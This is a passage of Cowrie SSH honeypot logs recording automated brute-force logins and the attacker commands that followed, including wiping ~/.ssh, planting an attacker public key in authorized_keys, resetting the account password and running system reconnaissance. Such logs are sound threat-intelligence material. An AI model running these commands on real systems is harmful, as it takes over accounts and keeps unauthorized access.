man-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:10.829128Z","src_ip":"200.90.8.86","session":"c24a43620d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caja01","password":"123456","message":"login attempt [caja01/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:11.221816Z","src_ip":"200.90.8.86","session":"c24a43620d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:12.318626Z","src_ip":"200.90.8.86","session":"c24a43620d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":51482,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b061051fb87","protocol":"ssh","message":"New connection: 103.148.100.146:51482 (159.203.135.109:22) [session: 3b061051fb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:18.880926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:18.886900Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:19.168316Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:20.317295Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:20.919617Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:20.923353Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:20.927223Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:21.487230Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:21.807344Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:21.810539Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/ftpuser/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:22.091541Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:22.095721Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":52716,"dst_ip":"159.203.135.109","dst_port":22,"session":"806e3fee10d6","protocol":"ssh","message":"New connection: 103.148.100.146:52716 (159.203.135.109:22) [session: 806e3fee10d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:22.350833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:22.356393Z","src_ip":"103.148.100.146","session":"806e3fee10d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:22.626171Z","src_ip":"103.148.100.146","session":"806e3fee10d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:23.716761Z","src_ip":"103.148.100.146","session":"806e3fee10d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:24.995645Z","src_ip":"103.148.100.146","session":"806e3fee10d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":53812,"dst_ip":"159.203.135.109","dst_port":22,"session":"72ffeba56ef0","protocol":"ssh","message":"New connection: 103.148.100.146:53812 (159.203.135.109:22) [session: 72ffeba56ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:25.259059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:25.264758Z","src_ip":"103.148.100.146","session":"72ffeba56ef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:25.613607Z","src_ip":"103.148.100.146","session":"72ffeba56ef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"3245gs5662d34","message":"login attempt [ftpuser/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:26.683647Z","src_ip":"103.148.100.146","session":"72ffeba56ef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:27.960217Z","src_ip":"103.148.100.146","session":"72ffeba56ef0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:28.299941Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:28.303607Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:28.865380Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:29.201166Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"ftpuser\\nqUMFp3wtu2eK\\nqUMFp3wtu2eK\"|passwd|bash","message":"CMD: echo -e \"ftpuser\\nqUMFp3wtu2eK\\nqUMFp3wtu2eK\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:29.203565Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:29.206393Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:29.208903Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/13f592db3cc69ba68019ddf9ad8e88dd50c45654a58a9b1eb3630271c60b970b","size":32,"shasum":"13f592db3cc69ba68019ddf9ad8e88dd50c45654a58a9b1eb3630271c60b970b","duplicate":false,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/13f592db3cc69ba68019ddf9ad8e88dd50c45654a58a9b1eb3630271c60b970b after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:29.763421Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:30.123782Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"ftpuser\\nqUMFp3wtu2eK\\nqUMFp3wtu2eK\\n\"|passwd","message":"CMD: echo \"ftpuser\\nqUMFp3wtu2eK\\nqUMFp3wtu2eK\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:30.127662Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1ddfdfda2ef7d4089238c50dda03926be4b9f4277a0968d0ed5e50c5ac60782b","size":25,"shasum":"1ddfdfda2ef7d4089238c50dda03926be4b9f4277a0968d0ed5e50c5ac60782b","duplicate":false,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/1ddfdfda2ef7d4089238c50dda03926be4b9f4277a0968d0ed5e50c5ac60782b after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:30.687145Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:31.020612Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:31.024487Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:31.580574Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:31.920526Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:31.924018Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:32.480274Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:32.807557Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:32.814864Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:32.818091Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:33.383488Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:33.721612Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:33.724945Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":23,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:34.282053Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:34.604687Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:34.607683Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:35.166444Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:35.503832Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:35.507494Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
